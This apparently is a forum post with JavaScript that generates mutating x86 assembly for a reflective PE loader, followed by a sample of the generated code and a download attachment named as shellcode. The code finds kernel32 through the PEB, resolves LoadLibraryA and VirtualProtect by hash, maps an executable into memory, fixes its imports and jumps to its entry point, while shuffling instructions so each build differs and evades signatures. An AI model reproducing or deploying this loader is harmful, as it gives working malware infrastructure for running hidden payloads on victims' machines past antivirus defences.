r2.o.unlock();
r2 = e.getFreeReg(p.LOCK_REG);
e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i ]);
e.emit(" and "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ\n\
cmp "+r2.s+", IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ\n\
jne .no_read_write\n");
e.cmd('load_c32$m32', ['PAGE_READWRITE', '.section_flags']);
e.emit(['jmp','.set_memory\n.no_read_write:']);
r2.o.unlock();
e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i ]);
e.emit(['and', r2.s , 'IMAGE_SCN_MEM_READ', ';', 'cmp', r2.s, 'IMAGE_SCN_MEM_READ', ";", 'jne', '.no_read']);
e.cmd("load_c32$m32", ["PAGE_READONLY", ".section_flags"]);
e.emit(["jmp", ".set_memory\n.no_read:"]);
e.cmd('load_c32$m32', ['PAGE_NOACCESS', '.section_flags']);
r2.o.unlock();
rSectionHeader = e.getFreeReg(p.LOCK_REG);
rpAPITable = e.getFreeReg(p.LOCK_REG);
raddr = e.getFreeReg(p.LOCK_REG);
rvprotect = e.getFreeReg(p.LOCK_REG);
e.emit('.set_memory:\n');
e.cmd('load_m32$r32', ['pSectionHeader', rSectionHeader.i]);
e.cmd('load_r32$m32', [raddr.i, rSectionHeader.s + ' + IMAGE_SECTION_HEADER.VirtualAddress']);
e.emit(['add', raddr.s, 'DWORD [pImageBase]']);
e.cmd('load_m32$r32', ['pAPITable', rpAPITable.i]);
e.emit(['lea', rvprotect.s, '[.vprotect_ret]', ';', 'stdcall', 'DWord ['+rpAPITable.s+' + stAPITable.pVirtualProtect_kernel32], '+raddr.s+',\
['+rSectionHeader.s+' + IMAGE_SECTION_HEADER.VirtualSize], [.section_flags], '+rvprotect.s] );
e.cmd('checkz_r32', [p.REG_EAX]);
e.emit(['jz', '.Exit']);
e.cmd('inc_m32', ['iResult'])
e.emit('.Exit:\n');
e.setUseForResult('iResult');
};
var setPermissions = 'proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD\n\n\
local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD\n\n\
pushad\n\
xor eax, eax\n\
mov [.retval], eax\n\
mov edx, [pImageFileHeader]\n\
movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]\n\
mov [.number_of_sections], eax\n\
add edx, sizeof.IMAGE_FILE_HEADER\n\
mov eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]\n\
mov [.image_base], eax\n\
lea ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]\n\
mov eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]\n\
mov edx, sizeof.IMAGE_DATA_DIRECTORY\n\
mul edx\n\
add eax, ebx\n\
mov [.section_headers], eax\n\
mov eax, sizeof.IMAGE_SECTION_HEADER\n\
mov edx, [.number_of_sections]\n\
mul edx\n\
add eax, [.section_headers]\n\
mov ebx, [pFileImageBase]\n\
sub eax, ebx\n\
mov [.pe_header_size], eax\n\
mov edx, [APITable]\n\
lea eax, [.vprotect_ret]\n\
stdcall dword [edx+stAPITable.pVirtualProtect_kernel32], [.image_base], [.pe_header_size], PAGE_READONLY, eax\n\
test eax, eax\n\
jz .exit\n\
mov ecx, [.number_of_sections]\n\
mov ebx, [.section_headers]\n\
.load_section_loop:\n\
stdcall setSection, [APITable], ebx, [.image_base], [pFileImageBase]\n\
test eax, eax\n\
jz .exit\n\
add ebx, sizeof.IMAGE_SECTION_HEADER\n\
loop .load_section_loop\n\
inc [.retval]\n\
.exit:\n\
popad\n\
mov eax, [.retval]\n\
ret\n\
endp';
var loadFile = 'proc loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD\n\n\
local .iSectNum:DWORD, .pImageBase:DWORD, .pImageOptionalHeader:DWORD, .retval:DWORD, .dwProtectBuff:DWORD, .pSectionHeaders:DWORD, .iPEHeaderSize:DWORD\n\n\
pushad\n\
xor eax, eax\n\
mov [.retval], eax\n\
mov edx, [pImageFileHeader]\n\
movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]\n\
mov [.iSectNum], eax \n\
mov eax, [edx + IMAGE_OPTIONAL_HEADER32.ImageBase+sizeof.IMAGE_FILE_HEADER]\n\
mov [.pImageBase], eax\n\
lea eax, [edx+sizeof.IMAGE_FILE_HEADER]\n\
mov [.pImageOptionalHeader], eax\n\
mov eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage]\n\
lea edx, [.dwProtectBuff]\n\
mov ebx, [pAPITable]\n\
stdcall DWord [ebx+stAPITable.pVirtualProtect_kernel32], [.pImageBase], eax, PAGE_READWRITE, edx\n\
test eax, eax\n\
jz .Exit\n\
mov edx, [.pImageOptionalHeader] \n'+
_.shuffle([' lea ebx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]',
' mov eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]']).join('\n')+'\n'+'\
mov edx, sizeof.IMAGE_DATA_DIRECTORY\n\
mul edx\n\
add eax, ebx\n\
mov [.pSectionHeaders], eax\n\
mov eax, sizeof.IMAGE_SECTION_HEADER\n\
mov edx, [.iSectNum]\n\
mul edx\n'+
_.shuffle([' add eax, [.pSectionHeaders]', ' mov ebx, [pFileImageBase]']).join('\n')+'\n'+'\
sub eax, ebx\n\
mov [.iPEHeaderSize], eax\n\
mov edi, [.pImageBase]\n\
mov esi, [pFileImageBase]\n\
mov ecx, [.iPEHeaderSize]\n\
rep movsb\n\
mov ecx, [.iSectNum]\n\
mov ebx, [.pSectionHeaders]\n\
.load_section_loop:\n\
stdcall loadSection, ebx, [.pImageBase], [pFileImageBase]\n\
test eax, eax\n\
jz .Exit\n\
add ebx, sizeof.IMAGE_SECTION_HEADER\n\
dec ecx\n\
jnz .load_section_loop\n\
inc [.retval]\n\
.Exit:\n\
popad\n\
mov eax, [.retval]\n\
ret\n\
endp \n';
var loadImportTable = 'proc loadImportTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD\n\n\
local .import_table:DWORD, .null_directory_entry[sizeof.IMAGE_IMPORT_DESCRIPTOR]:BYTE, .retval:DWORD\n\n\
pushad\n\
xor eax, eax\n\
inc eax\n\
mov [.retval], eax\n\
mov edx, [image_base]\n\
mov eax, [edx + IMAGE_DOS_HEADER.e_lfanew]\n\
lea eax, [edx + eax + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY]\n\
mov eax, [eax+IMAGE_DATA_DIRECTORY.VirtualAddress]\n\
add eax, edx\n\
mov [.import_table],eax\n\
lea edi, [.null_directory_entry]\n\
mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR\n\
mov al, 0h\n\
rep stosb\n\
mov ebx, [.import_table]\n\
.next_directory_entry:\n\
lea esi, [.null_directory_entry]\n\
mov edi, ebx\n\
mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR\n\
rep cmpsb\n\
je .exit_success\n\
stdcall loadImportDirectoryTable, [APITable], [pHashProc], [image_base], ebx\n\
test eax, eax\n\
jz .exit_error\n\
add ebx, sizeof.IMAGE_IMPORT_DESCRIPTOR\n\
jmp .next_directory_entry\n\
.exit_success:\n\
inc [.retval]\n\
.exit_error:\n\
popad\n\
mov eax, [.retval]\n\
ret\n\
endp\n';
loadImportDirectoryTable = 'proc loadImportDirectoryTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD, directory_entry:DWORD\n\n\
local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD\n\
pushad\n\
mov eax, [directory_entry]\n\
mov eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]\n\
add eax, [image_base]\n\
;load the corresponding dll\n\
mov ebx, [APITable]\n\
stdcall DWord [ebx+stAPITable.pLoadLibraryA_kernel32], eax\n\
test eax,eax\n\
jz .exit_error\n\
mov [.dll_image_base],eax\n\
mov edx, [directory_entry]\n\
mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]\n\
add eax, [image_base]\n\
mov [.lookup_table], eax\n\
mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]\n\
add eax, [image_base]\n\
mov [.import_address_table],eax\n\
xor ecx, ecx\n\n\
.next_lookup_entry:\n\
mov eax, [.lookup_table]\n\
add eax, ecx\n\
mov eax, [eax]\n\
test eax,eax\n\
jz .exit_success\n\
mov ebx, eax\n\
and eax, IMAGE_ORDINAL_FLAG32\n\
jnz .exit_error\n\
.byname:\n\
add ebx, [image_base]\n\
lea ebx, [ebx+IMAGE_IMPORT_BY_NAME.Name_]\n\
mov eax, ebx\n\
push ecx\n\
stdcall GetHashSz, ebx\n\
stdcall AltGetProcAddressByHash, [.dll_image_base], [pHashProc], eax\n\
pop ecx\n\
test eax, eax\n\
jz .exit_error\n\
mov ebx, [.import_address_table]\n\
add ebx, ecx\n\
mov [ebx], eax\n\
add ecx, 4\n\
jmp .next_lookup_entry\n\
.exit_success:\n\
popad\n\
xor eax,eax\n\
inc eax\n\
ret\n\
.exit_error:\n\
popad\n\
xor eax, eax\n\
ret\n\
endp\n';
function fVerifyPE(e, r, v) {
var r1 = e.getFreeReg(p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
e.cmd('load_m32$r32', ['pImagePE', r1.i]);
e.cmd('check_c16$m16', [0x5A4D, r1.s])
e.emit(['jnz', '.Exit']);
e.cmd('load_m32$r32', [r1.s+'+IMAGE_DOS_HEADER.e_lfanew', r2.i]);
e.cmd('add_r32$r32', [r2.i, r1.i]);
r2.o.unlock();
e.cmd('check_c32$m32', [0x4550, r1.s]);
e.emit(['jne', '.Exit']);
e.cmd('add_c32$r32', [0x4, r1.i]);
e.emit('.Exit:\n');
e.setUseForResult(r1.i);
};
function fLoadPE(e, r, v, prm){
headerz = tc.followApiTable(e, prm.ta);
v.add('pImageBase'); v.add('pFileHeader'); v.add('pAPITable');
eval(_.shuffle([" e.cmd('load_c32$m32', [prm.imagebase, 'pImageBase']);",
"var rx = e.getFreeReg(p.LOCK_REG); e.emit(['lea', rx.s, '[APITable]']);\
e.cmd('load_r32$m32', [rx.i, 'pAPITable']); rx.o.unlock();"]).join('\n'));
e.emit(['stdcall', 'verifyPE', '[pPEImage]']);
e.cmd('checkz_r32', [p.REG_EAX]);
e.emit(['jz', '.End']);
e.cmd('load_r32$m32', [p.REG_EAX, 'pFileHeader']);
e.emit(['stdcall', 'loadFile', '[pAPITable]', '[pFileHeader]', '[pPEImage]']);
e.cmd('checkz_r32', [p.REG_EAX]);
e.emit(['jz', '.End']);
e.emit(['stdcall', 'loadImportTable', '[pAPITable]', '[pGetHashSz]', '[pImageBase]']);
e.cmd('checkz_r32', [p.REG_EAX]);
e.emit(['jz', '.End']);
e.emit(['stdcall', 'setPermissions', '[pAPITable]', '[pFileHeader]', '[pPEImage]']);
e.emit(['mov', 'esi', '[pFileHeader]', ';', 'mov', 'eax', '[esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint]']);
e.emit(['add', 'eax', '[pImageBase]']);
e.emit(['jmp', 'eax']);
e.emit('.End:\n');
};
var oVerifyPE = tc.CodeSnippet('verifyPE', 'stdcall', ['pImagePE'], fVerifyPE);
var oMainFnc = tc.CodeSnippet('loadPE_main', 'stdcall', ['pPEImage', 'pMyAddr'], fLoadPE, {ta:tableApi, imagebase: 0x400000});
var oSetSection = tc.CodeSnippet('setSection', 'stdcall', ['pAPITable', 'pSectionHeader', 'pImageBase', 'pFileImageBase'], fSetSection);
//console.log(oMainFnc.code);
var code = headerz + _.shuffle([oMainFnc.code, oVerifyPE.code, loadSection, loadFile, setPermissions, oSetSection.code, procz[0].code,
procz[1].code, procz[2].code, procz[3].code, loadImportTable, loadImportDirectoryTable]).join('\n');
var xcode = "use32\n\nformat binary\n\ninclude '%FASM%\\INCLUDE\\win32a.inc'\ninclude 'pe.inc'\n\nstart:\n\njmp loadPE_main\n\n"+code;
fs.writeFileSync('libloadpe.asm', xcode);
Приклад створеного коду
▼Одчинити
use32
format binary
include '%FASM%\INCLUDE\win32a.inc'
include 'pe.inc'
start:
jmp loadPE_main
struct stAPITable
pVirtualProtect_kernel32 dd ?
pLoadLibraryA_kernel32 dd ?
ends
proc AltGetProcAddressByHash hLib, fHashProc, iHashVal
local iResult:DWORD
pusha
mov ecx, DWord [hLib]
mov DWord [iResult], DWORD 0x0
cmp Word [ecx], WORD 0x5a4d
jne .End
movzx edi, Word [ecx+0x3c]
lea edi, [ecx+edi]
cmp DWord [edi], DWORD 0x4550
jne .End
mov eax, DWord [edi+0x78]
lea eax, [ecx+eax]
mov ebx, DWord [eax+0x18]
push eax
xor esi, esi
push DWord [eax+0x20]
pop edx
lea edx, [ecx+edx]
.MainLoop:
mov eax, DWord [edx]
lea eax, [ecx+eax]
push eax
stdcall [fHashProc], eax
cmp eax, DWord [iHashVal]
pop eax
jz .FoundProcname
sub esi, -1
lea edx, [edx+0x4]
sub ebx, 0x1
or ebx, ebx
jnz .MainLoop
pop edi
jmp .End
.FoundProcname:
pop edx
shl esi, 1
add esi, DWord [edx+0x24]
movzx eax, Word [esi+ecx]
lea eax, [eax*4+ecx]
add eax, DWord [edx+0x1C]
mov edx, DWord [eax]
lea edx, [ecx+edx]
push edx
pop DWord [iResult]
.End:
popa
mov eax, DWord [iResult]
ret
endp
proc loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD
local .iSectNum:DWORD, .pImageBase:DWORD, .pImageOptionalHeader:DWORD, .retval:DWORD, .dwProtectBuff:DWORD, .pSectionHeaders:DWORD, .iPEHeaderSize:DWORD
pushad
xor eax, eax
mov [.retval], eax
mov edx, [pImageFileHeader]
movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
mov [.iSectNum], eax
mov eax, [edx + IMAGE_OPTIONAL_HEADER32.ImageBase+sizeof.IMAGE_FILE_HEADER]
mov [.pImageBase], eax
lea eax, [edx+sizeof.IMAGE_FILE_HEADER]
mov [.pImageOptionalHeader], eax
mov eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage]
lea edx, [.dwProtectBuff]
mov ebx, [pAPITable]
stdcall DWord [ebx+stAPITable.pVirtualProtect_kernel32], [.pImageBase], eax, PAGE_READWRITE, edx
test eax, eax
jz .Exit
mov edx, [.pImageOptionalHeader]
lea ebx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]
mov eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
mov edx, sizeof.IMAGE_DATA_DIRECTORY
mul edx
add eax, ebx
mov [.pSectionHeaders], eax
mov eax, sizeof.IMAGE_SECTION_HEADER
mov edx, [.iSectNum]
mul edx
add eax, [.pSectionHeaders]
mov ebx, [pFileImageBase]
sub eax, ebx
mov [.iPEHeaderSize], eax
mov edi, [.pImageBase]
mov esi, [pFileImageBase]
mov ecx, [.iPEHeaderSize]
rep movsb
mov ecx, [.iSectNum]
mov ebx, [.pSectionHeaders]
.load_section_loop:
stdcall loadSection, ebx, [.pImageBase], [pFileImageBase]
test eax, eax
jz .Exit
add ebx, sizeof.IMAGE_SECTION_HEADER
dec ecx
jnz .load_section_loop
inc [.retval]
.Exit:
popad
mov eax, [.retval]
ret
endp
proc loadImportDirectoryTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD, directory_entry:DWORD
local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD
pushad
mov eax, [directory_entry]
mov eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]
add eax, [image_base]
;load the corresponding dll
mov ebx, [APITable]
stdcall DWord [ebx+stAPITable.pLoadLibraryA_kernel32], eax
test eax,eax
jz .exit_error
mov [.dll_image_base],eax
mov edx, [directory_entry]
mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
add eax, [image_base]
mov [.lookup_table], eax
mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
add eax, [image_base]
mov [.import_address_table],eax
xor ecx, ecx
.next_lookup_entry:
mov eax, [.lookup_table]
add eax, ecx
mov eax, [eax]
test eax,eax
jz .exit_success
mov ebx, eax
and eax, IMAGE_ORDINAL_FLAG32
jnz .exit_error
.byname:
add ebx, [image_base]
lea ebx, [ebx+IMAGE_IMPORT_BY_NAME.Name_]
mov eax, ebx
push ecx
stdcall GetHashSz, ebx
stdcall AltGetProcAddressByHash, [.dll_image_base], [pHashProc], eax
pop ecx
test eax, eax
jz .exit_error
mov ebx, [.import_address_table]
add ebx, ecx
mov [ebx], eax
add ecx, 4
jmp .next_lookup_entry
.exit_success:
popad
xor eax,eax
inc eax
ret
.exit_error:
popad
xor eax, eax
ret
endp
proc verifyPE pImagePE
push esi
push DWord [pImagePE]
pop eax
cmp Word [eax], WORD 0x5a4d
jnz .Exit
push DWord [eax+IMAGE_DOS_HEADER.e_lfanew]
pop esi
lea eax, [esi+eax]
cmp DWord [eax], DWORD 0x4550
jne .Exit
lea eax, [eax+0x4]
.Exit:
pop esi
ret
endp
proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD
local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD
pushad
xor eax, eax
mov [.retval], eax
mov edx, [pImageFileHeader]
movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
mov [.number_of_sections], eax
add edx, sizeof.IMAGE_FILE_HEADER
mov eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]
mov [.image_base], eax
lea ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]
mov eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
mov edx, sizeof.IMAGE_DATA_DIRECTORY
mul edx
add eax, ebx
mov [.section_headers], eax
mov eax, sizeof.IMAGE_SECTION_HEADER
mov edx, [.number_of_sections]
mul edx
add eax, [.section_headers]
mov ebx, [pFileImageBase]
sub eax, ebx
mov [.pe_header_size], eax
mov edx, [APITable]
lea eax, [.vprotect_ret]
stdcall dword [edx+stAPITable.pVirtualProtect_kernel32], [.image_base], [.pe_header_size], PAGE_READONLY, eax
test eax, eax
jz .exit
mov ecx, [.number_of_sections]
mov ebx, [.section_headers]
.load_section_loop:
stdcall setSection, [APITable], ebx, [.image_base], [pFileImageBase]
test eax, eax
jz .exit
add ebx, sizeof.IMAGE_SECTION_HEADER
loop .load_section_loop
inc [.retval]
.exit:
popad
mov eax, [.retval]
ret
endp
proc setSection pAPITable, pSectionHeader, pImageBase, pFileImageBase
local .section_flags:DWORD
local iResult:DWORD
local .vprotect_ret:DWORD
push edi
push esi
push edx
push ecx
push eax
mov DWord [iResult], DWORD 0x0
push DWord [pSectionHeader]
pop edi
;section execute/read/write?
push DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
pop edx
and edx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
cmp edx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
jne .no_execute_read_write
push PAGE_EXECUTE_READWRITE
pop DWord [.section_flags]
jmp .set_memory
.no_execute_read_write:
mov esi, DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
and esi, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
cmp esi, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
jne .no_execute_read
push PAGE_EXECUTE_READ
pop DWord [.section_flags]
jmp .set_memory
.no_execute_read:
mov ecx, DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
and ecx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
cmp ecx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
jne .no_read_write
push PAGE_READWRITE
pop DWord [.section_flags]
jmp .set_memory
.no_read_write:
push DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
pop ecx
and ecx, IMAGE_SCN_MEM_READ
cmp ecx, IMAGE_SCN_MEM_READ
jne .no_read
push PAGE_READONLY
pop DWord [.section_flags]
jmp .set_memory
.no_read:
mov DWord [.section_flags], PAGE_NOACCESS
.set_memory:
mov ecx, DWord [pSectionHeader]
mov DWord [ecx + IMAGE_SECTION_HEADER.VirtualAddress], eax
add eax, DWORD [pImageBase]
mov edx, DWord [pAPITable]
lea esi, [.vprotect_ret]
stdcall DWord [edx + stAPITable.pVirtualProtect_kernel32], eax, [ecx + IMAGE_SECTION_HEADER.VirtualSize], [.section_flags], esi
or eax, eax
jz .Exit
sub DWord [iResult], -1
.Exit:
pop eax
pop ecx
pop edx
pop esi
pop edi
push DWord [iResult]
pop eax
ret
endp
proc GetK32
local iResult:DWORD
push esi
push ecx
push ebx
push eax
mov eax, DWord [fs:0x30]
push DWord [eax+0xC]
pop ebx
push DWord [ebx+0x1C]
pop esi
.NextModule:
push DWord [esi+0x8]
pop DWord [iResult]
mov eax, DWord [esi+0x20]
push DWord [esi]
pop esi
movzx ecx, Byte [eax+0x18]
test ecx, ecx
jne .NextModule
movzx ecx, Byte [eax]
cmp ecx, 0x6b
je .Found_K32
cmp ecx, 0x4b
jne .NextModule
.Found_K32:
pop eax
pop ebx
pop ecx
pop esi
push DWord [iResult]
pop eax
ret
endp
proc GetHashSz strz
push esi
push edx
push DWord [strz]
pop esi
push DWORD 0x0
pop edx
push edx
.CalcHash:
ror edx, 7
xor [esp], edx
mov dl, Byte [esi]
sub esi, -1
or dl, dl
jnz .CalcHash
pop eax
pop edx
pop esi
ret
endp
proc loadImportTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD
local .import_table:DWORD, .null_directory_entry[sizeof.IMAGE_IMPORT_DESCRIPTOR]:BYTE, .retval:DWORD
pushad
xor eax, eax
inc eax
mov [.retval], eax
mov edx, [image_base]
mov eax, [edx + IMAGE_DOS_HEADER.e_lfanew]
lea eax, [edx + eax + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY]
mov eax, [eax+IMAGE_DATA_DIRECTORY.VirtualAddress]
add eax, edx
mov [.import_table],eax
lea edi, [.null_directory_entry]
mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
mov al, 0h
rep stosb
mov ebx, [.import_table]
.next_directory_entry:
lea esi, [.null_directory_entry]
mov edi, ebx
mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
rep cmpsb
je .exit_success
stdcall loadImportDirectoryTable, [APITable], [pHashProc], [image_base], ebx
test eax, eax
jz .exit_error
add ebx, sizeof.IMAGE_IMPORT_DESCRIPTOR
jmp .next_directory_entry
.exit_success:
inc [.retval]
.exit_error:
popad
mov eax, [.retval]
ret
endp
proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD
pushad
mov esi, [pFileImageBase]
mov edx, [pSectionHeader]
mov ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]
mov edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
add edi, [image_base]
add esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]
cld
rep movsb
popad
ret
endp
proc loadPE_main pPEImage, pMyAddr
local APITable:QWORD
local pFileHeader:DWORD
local hkernel32:DWORD
local iResult:DWORD
local pImageBase:DWORD
local pAPITable:DWORD
local pGetHashSz:DWORD
push esi
mov ebx, DWord [pMyAddr]
lea ebx, [ebx+GetHashSz]
push ebx
pop DWord [pGetHashSz]
call GetK32
mov DWord [hkernel32], eax
stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x71e40722
push eax
pop DWord [APITable+stAPITable.pLoadLibraryA_kernel32]
stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x15f8ef80
mov DWord [APITable+stAPITable.pVirtualProtect_kernel32], eax
lea esi, [APITable]
mov DWord [pAPITable], esi
mov DWord [pImageBase], DWORD 0x400000
stdcall verifyPE, [pPEImage]
test eax, eax
jz .End
mov DWord [pFileHeader], eax
stdcall loadFile, [pAPITable], [pFileHeader], [pPEImage]
test eax, eax
jz .End
stdcall loadImportTable, [pAPITable], [pGetHashSz], [pImageBase]
test eax, eax
jz .End
stdcall setPermissions, [pAPITable], [pFileHeader], [pPEImage]
mov esi, [pFileHeader]
mov eax, [esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint]
add eax, [pImageBase]
jmp eax
.End:
pop esi
push DWord [iResult]
pop eax
ret
endp
proc GetNtdll
local iResult:DWORD
pusha
push DWord [fs:0x30]
pop edx
push DWord [edx+0xC]
pop ebx
push DWord [ebx+0x1C]
pop edi
push DWord [edi+0x8]
pop DWord [iResult]
popa
push DWord [iResult]
pop eax
ret
endp
Post's attachments
mutable.loadpe.shellcode.zip 52.18 kb, 1927 downloads since 2014-12-30